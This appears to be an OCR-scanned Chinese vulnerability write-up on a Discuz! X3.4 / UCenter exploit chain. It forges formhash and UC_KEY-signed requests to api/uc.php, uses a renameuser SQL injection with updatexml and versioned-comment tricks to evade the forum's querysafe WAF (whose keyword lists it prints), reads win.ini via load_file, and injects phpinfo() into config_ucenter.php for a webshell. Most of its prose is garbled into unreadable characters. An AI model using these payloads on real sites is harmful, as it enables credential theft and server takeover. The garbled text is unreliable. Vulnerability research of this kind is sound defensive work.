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//

authkey BH+4R?

//

e CONFIG SECURITY =-----mmmmmmmmmmmmmmmmo //
$_config['security']['authkey'] = '87042cel2d71b427eec3db2262db3765fQvehoxXidyfNnjK5E" ;

authkey 2 DZ 2R REREENTHIH, £ DZ Ak, DREZREXN, EXEHER
authkey¥[] cookie HRY saltkey NIZEHIERY.

HFEAWBBE TIXA authkey ZfF, FEATHTLUTE DZ ARZRIE(FEXE formhash (DZ B
POST 1BXAVERFEPFZEITE formhash)
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LA FERIEZAITE formhash

$username = "ddog";

$uid = 51;

$saltkey = "SuPg5mmP";

$config_authkey = "87042cel2d71b427eec3db2262db3765fQvehoxXidyfNnjK5E";

$authkey = md5($config_authkey.$saltkey);
$formhash = substr(md5(substr($t, 0, -7).%username.$uid.$authkey."".""), 8, 8);
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* windows FEX R L LR SIRER IR [2]
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/data/backup_xxxxxx/200509 xxxxxx-1.sql
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SREUER

MEGRES A, FAITATLAFRE] UC_KEY(dz)

fEpre ucenter applicationsfd authkey FE&#E] UC KEY(dz)
ZHFAWSEI TR NMER:

uckey
x9L1lefE1ff17a407i158xcSbUfolU2V7Lebef3g974YdGAwWOE2LFI4As5R1p2t4m5
authkey

87042cel2d71b427eec3db2262db3765FfQvehoxXidyfNnjK5E

LENMBETXAN key 2f5, BEATTLAEERA uc_client B uc.php {E3 api. , EEAH—
THAtEEZEXNEM L,

//

uc.php api 8

//

XEFRAIEEXF /api/uc. php
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{!defined( "IN UC")) {
"../sourcefclassfclass_core.php’;

$discuz = C::app();
$discuz->init();

DISCUZ_ROOT."./config/config ucenter.php’;
fget $post array();

$code % GET[ 'code’];
parse_str{authcode{$code, "DECODE', UC KE

{(time() - %$get[ time"]
( "Authracation has expiried');

}
(empty($get)) {
(*Invalid Request');

fuc _client/flih/fxm]l _clacs nhn'-

$post = xml_unserialize(file get contents( 'php://input’));

{in_array($get[ 'action’], array( 'test', ‘deleteuser’, 'renameuser’, ’
gettag', 'synlogin®, ‘"synlogout’, "updatepw’', "updatebadwords’,
updatehosts', 'updateapps®, 'updateclient’, ‘updatecredit’, ‘getcredit
, getcreditsettings®, ‘updatecreditsettings®, "addfeed’))) {
$uc_note uc_note();
echo call user func{array($uc_note, %get[ action’]), $%get, $post);

OF
{
(API_RETURN_FAILED);

L;‘ Seebug

iJuc keYEITE code, SAGEBIT authkeyiTE formhash, EATRRILAERZET api FAYER
#, MEXA api FEJINUREEAGRE.



FAIFAE B PR updateapps £, IXMERERIFTRZAET BT DZ EIZE(EMvres replace
T uc arr, AILASHUEER getshell,

BNEESTIIE, XNEEEVRET @dawu, FHE CSS _ERYEHPIREEXNGE
getshell:

o https.//paper.seebug.org/1144/#getwebshell

o https.//lorexxar.cn/2020/01/14/css-mysql-
chain/#%E4%BB%BB%E6 %684%EF %6E6 %96 %87 %6E4% BB %B6 % E8 %A F %BB-with-
%E9%85%ED%E7 %BDBAE%E6 %96 %87 %E4%BB%B6 %6E6 %6B3%84%E9%9C%B2

1‘&?&‘1255’\]?5%{’!5, ﬁﬂ]ﬂl«lﬁgiﬁ&ode = "time=. time (). &action=updateapps’ ;
Fefitz updateapps, ATLUERECEFHIUC arT, (BREZRIRIE—NMRAEFHF, XEMAT
SR,

if($post['UC_API']) {
$UC_API = str_replace(array('\'', ""', "\\', "\e", "\n", "\r"), "', $post['UC_API']);
unset($post[ 'UC_API']);

}
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HELFAST uc.php, FKTE renameuser FEEI—MNEANR.

function renameuser($get, $post) {
global $_G;
if(1API_RENAMEUSER) {
return API_RETURN_FORBIDDEN;

}
$tables = array(

"common_block' => array('id' => ‘'uid', 'name' => 'username'),
‘common_invite' => array('id' => 'fuid', 'name' => 'fusername'),
'common_member_verify_info' => array('id' => 'uid', ‘'name' => 'username'),
'common_mytask' => array('id' => 'uid', 'name' => 'username'),
‘common_report' => array('id' => 'uid', 'name' => 'username'),
"forum_thread' => array('id' => 'authorid', 'name' => 'author'),
"forum_activityapply' => array('id' => 'uid', 'name' => 'username'),
"forum_groupuser' => array('id' => 'uid', 'name' => ‘'username'),
"forum_pollvoter' => array('id' => 'uid', 'name' => 'username'),
"forum_post' => array('id' => 'authorid', ‘'name' => ‘'author'),
"forum_postcomment' => array('id' => 'authorid', ‘'name' => 'author'),
'forum_ratelog' => array('id' => 'uid', 'name' => 'username'),
"home_album' => array('id' => 'uid', 'name' => 'username'),
"home_blog' => array('id' => 'uid', ‘'name' => 'username'),

"home_clickuser' => array('id' => 'uid', 'name' => 'username'),

"home_docomment' => array('id' => 'uid', 'name' => ‘'username'),

O]



"home_doing' => array('id' => 'uid', 'name' => ‘'username'),
"home_feed' => array('id' => 'uid', 'name' => 'username'),
"home_feed_app' => array('id' => 'uid', 'name' => 'username'),
"home_friend' => array('id' => 'fuid', 'name' => 'fusername'),
"home_friend_request' => array('id' => 'fuid', 'name' => 'fusername'),
"home_notification' => array('id' => 'authorid', 'name' => 'author'),

"home_pic' => array('id' => 'uid', 'name' => 'username'),
"home_poke' => array('id' => 'fromuid', ‘'name' => 'fromusername'),
"home_share' => array('id' => 'uid', 'name' => 'username'),

"home_show' => array('id' => 'uid', ‘'name' => 'username'),
"home_specialuser' => array('id' => 'uid', 'name' => 'username'),
"home_visitor' => array('id' => 'vuid', 'name' => 'vusername'),
'portal_article_title' => array('id' => 'uid', ‘'name' => 'username'),
"portal_comment' => array('id' => 'uid', 'name' => ‘'username'),
'portal_topic' => array('id' => 'uid', ‘'name' => 'username'),

'portal_topic_pic' => array('id' => 'uid', 'name' => 'username'),
)s
if(!C::t('common_member')->update($get['uid'], array('username' => $get[newusername])) &&
isset($_G['setting'][ 'membersplit’'])){
C::t('common_member_archive')->update($get['uid'], array('username’ =>
$get[newusername]));

}
loadcache("posttableids");

if($_G['cache'][ 'posttableids']) {
foreach($_G['cache']['posttableids'] AS $tableid) {
$tables[getposttable($tableid)] = array('id' => ‘'authorid', 'name' => 'author');

¥
foreach($tables as $table => $conf) {

DB::query("UPDATE ".DB::table($table)." SET "$conf[name] ='$get[newusername]' WHERE
“$conf[id] ="$get[uid]'");

}
return API_RETURN_SUCCEED;

TERREAYER T, Seet [newusernane BRI T update i,



BEnERE, XBERHZEUREIAGER mysqli, HASHFESIEN, LB EBERETEX
BT update IEAIREFEN, XBEERIRENSHRIE ENIGREEIE.
$code = 'time='.time().'&action=renameuser&uid=1&newusername=ddog\',name=(\"a\"' or

updatexml(1l,concat(©x7e, (/*!00000select*/ substr(password,®) from pre_ucenter_members where uid = 1

limit 1)),0)),title=\"a";

XBEETIEE, DZ BFANEAN waf EE71ERY, OBEE

\source\class\discuz\discuz_database.php line 375

if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false &&
strpos($sql, '@') === false && strpos($sql, '"') === false & strpos($sql, '"') === false) {
$clean = preg_replace("/'(.+?)"'/s", '", $sql);
} else {
$len = strlen($sql);
$mark = $clean = '';

for ($i = 0; $i < $len; $i++) {

$str = $sql$i];
switch ($str) {

case

if(!$mark) {

$mark = ' ';
$clean .= $str;

} elseif ($mark == """) {
$mark = '';

¥

break;

case '\''

if (!$mark) {

$mark = "\'"';

$clean .= $str;
} elseif ($mark == '\'") {
$mark = '';

}

break;
case '/':
if (empty($mark) & $sql[$i + 1] == "*") {



$mark = '/*';

$clean .= $mark;
$it++;

} elseif ($mark == '/*' && $sql[$i - 1] == '*') {
$mark = '';
$clean .= "*';

}

break;

case '#':

if (empty($mark)) {
$mark = $str;
$clean .= $str;

}
break;
case "\n":
if ($mark == '#' || $mark == '--') {
$mark = '';
}
break;
case '-':
if (empty($mark) && substr($sql, $i, 3) == '-- ') {
$mark = "-- ';
$clean .= $mark;
}
break;
default:
break;
}
$clean .= $mark ? "' : $str;
}
}
if(strpos($clean, '@') !== false) {
return '-3';
}

$clean = preg_replace("/[”a-z0-9 \-\(\)#\*\/\"]+/is", "", strtolower($clean));
if (self::$config['afullnote’']) {

$clean = str_replace('/**/', '', $clean);



}
if (is_array(self::$config['dfunction'])) {

foreach (self::$config['dfunction'] as $fun) {
if (strpos($clean, $fun . '(') !== false)

return '-1';

}
if (is_array(self::$config['daction'])) {

foreach (self::$config['daction'] as $action) {
if (strpos($clean, $action) !== false)

return '-3';

¥
if (self::$config['dlikehex'] && strpos($clean, 'likeox')) {

return '-2';
¥
if (is_array(self::$config['dnote'])) {
foreach (self::$config['dnote'] as $note) {
if (strpos($clean, $note) !== false)

return '-4';

PRI config FHEXHIECE S

$ _config[ 'security'][ 'querysafe'][ 'dfunction']['@'] = 'load _file';
$_config['security']['querysafe']['dfunction']['1'] = 'hex';
$_config['security']['querysafe']['dfunction']['2"'] = 'substring';
$_config['security']['querysafe'][ 'dfunction']['3'] = "if';
$_config['security']['querysafe']['dfunction']['4'] = 'ord';
$_config['security']['querysafe'][ 'dfunction']['5"'] = 'char’';

e’

"intooutfile';

$_config['security']['querysafe']['daction’']['0"]

$_config['security']['querysafe']['daction']['1"]

$_config['security']['querysafe']['daction’']['2"]

"intodumpfile’;

$_config['security']['querysafe']['daction’']['3'] = 'unionselect';
$_config['security']['querysafe']['daction']['4'] = '(select’;
$_config['security']['querysafe']['daction’']['5'] = 'unionall’;



$_config['security']['querysafe']['daction']['6'] = 'uniondistinct’;

$_config['security']['querysafe']["'dnote’']['@"'] = "'/*';
$_config['security']['querysafe']['dnote']['1"'] = "*/"';
$_config['security']['querysafe']['dnote"']['2"'] = '#';
$_config['security']['querysafe']['dnote’']['3'] = '--";
$_config['security']['querysafe']['dnote']['4'] = '"";

XIER BRI ET, IS Tatulinote

if (self::$config['afullnote']) {

$clean = str_replace('/**/', '', $clean);

BT/ /AT, PRI LAERZFAREANEEID select IIARIXHE, Z/EHEEEA
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HFENBR—MREEIAZE, HIIE=HEBCUFRE, RIBTF mysql &s.5.29, FTLAFAIAT
VAE SRS a8 LROERCSUA.

$code = 'time='.time().'&action=renameuser&uid=1&newusername=ddog\',name=(\"'a\"' or
updatexml(1,concat(0x7e, (/*!00000select*/ /*!00000load_file*/(\'c:/windows/win.ini\"') limit
1)),0)),title=\"a";

RREFXBHN TR, RAFKIIEDENE web BBEREME, FALEITIRDEEREE!
web X, XEHEFTRA, REafEEAE— I AMEREEEBRESER, KEEEH
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AEEREMRIERES, KIEEETNER, 2ARITT windows ik, web HERRRRIE,
(BRLAR EXSTFEREMERIR, —MREPLEE c 2T, ME—RABASERSIHHERR.
IR windows ERLIMEEER phpstudy 1 wamp, XFMNERSEIA

- /wamp64/www/
- /phpstudy_pro/WWwW/

HEBNABERZE, BANIRTLUER \uc_server\data\config. inc. phpf5ZE| uc server Juc_KEy.
ZIEEAIRILAE AR /uc_server/api/dpbak. phpFTENX Y



function sid_encode($username) {
$ip = $this->onlineip;
$agent = $_SERVER['HTTP_USER_AGENT'];
$authkey = md5($ip.$agent.UC_KEY);
$check = substr(md5($ip.%agent), 0, 8);
return rawurlencode($this->authcode("$username\t$check"”, 'ENCODE', $authkey, 1800));
}

function sid_decode($sid) {
$ip = $this->onlineip;
$agent = $_SERVER['HTTP_USER_AGENT'];
$authkey = md5($ip.$agent.UC_KEY);
$s = $this->authcode(rawurldecode($sid), 'DECODE', $authkey, 1800);
if(empty($s)) {
return FALSE;

b
@list($username, $check) = explode("\t", $s);

if($check == substr(md5($ip.%agent), 0, 8)) {
return $username;

} else {
return FALSE;

MEEERRAY sid REGITPRIGIE, BIEXMAEBEAITLMEREBHEREE.
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L b, Y E—MIEAERR uc server Buc kevES, FRAMERIN, #E/uc server/api/dbbak. php
FEITZXTHIEESHSIRERIEE, XEERERZANAIIR.

B b, TE/api/dbbak. phpFE—E—FERIAASFOT0EE, AR api RFEE DZ AYuc_ kevEiAJ LA
5, FAIILAERISR— MG HE, AERRASEOIREBEEIEEXY, XM LUENEE

RAVERT.



//

[5& getshell

//

BRTZEHIRERT, B

Discuz! &m 28 7 ws AP (17l B pigk =2 BA IﬁUCenter

Control Panel

Ihf » UCenter 188 [+]

EEEIEER ucCenter &8

B E

UCenter % BB

HiERE

B it

FaFE UCenter gzl ID:

FHnE [1

[untawali
UCenter @E{5%40:
| E—
UCenter jjalit:

|http:f1127.0.0.1,’ucfserver

UCenter TP Hji}:

UCenter ¥R E:
® HiEES

(EM uc api A

http://127.0.0.1/uc_server');phpinfo();//

SRS {ERRTRSTIER poc BHT uc api

¢ EERETDESEEREMNER, —RERTE TSN, EMETEEN confio/config_ucenterphp IIfF, LIFRLHEHI#R SEEASREIET

ZIEAGASTE UCenter FIEA 1D, —RERETEMRED

BIFEWRATIE UCenter 40 Discuz! 7 EfEHilE BRIME. AIES{HIFEREHZ, i§7E UCenter 5 Di

ISR UCenter ihiettihtd TROTT . HEEMHIN - TERARE SR SEMOREE . B
5= http://www.sitename.com/uc_server (BETEMN/)
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-

FREOA, B0 Ucenter BERETEADS NRERIRSZFESHE - XIHEREERT Hi8
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© @ 127.00.1/ctest/dz_exp.php

D:\wampB4'\www'\ctestdz_exp. php:60:string ! 1:ime=].589048590&acti0n=updateapps’

D:‘\wampb4'www'\ctest \dz_exp. php:87:string ’ http o/

11

(length=33)

- si/uc. php?code=494dwx0cUvxRwzGd0WheZsTPTvbSTTEYxC jxIhTW%2BCcgTQeBef3t

XEIRE] 11 HATLLTY

//

SRR

@ @ 127.0.0.1/discuz x3.4 1201/upload/config/config_ucenter.php”

phpinfo();

System Windows NT DESKTOP-1QBG 1)L 10.0 build 18362 (Windows 10) AMD64

Build Date MNov 19 2019 13:50:18

Compiler MSVC15 (Visual C++ 2017)

Architecture B4

Configure Command escript fnologo configure.js *--enable-snapshot-build® *—-enable-debug-pack” *--with-pda-oci=c

ap-build\deps_auoraclelxb4yi fient_12_T\sdk shared" *--with-ociB-12c=c:\php-snap-

build\deps_: cl j lient_12_1\sdk shared" *--enable-object-out-dir=_/obj/" *--en
com-dotnet=chared” "--without-analyzer” *--with-pge”

Server AP Apache 2.0 Handler

Virtual Directory Support enabled

Configuration File (php.ini) Path Ciwindows

Loaded Configuration File DA\wamp64\bin\apach che2.4.41\bin\phg

Scan this dir for additional .ini files (none)

ini files parsed (none)

PHP API 20180731

PHP Extension 20180731

Zend Extension 320180731 (‘b] Szagier

Zend Extension Build API320180731.TS.VC15

SR

//
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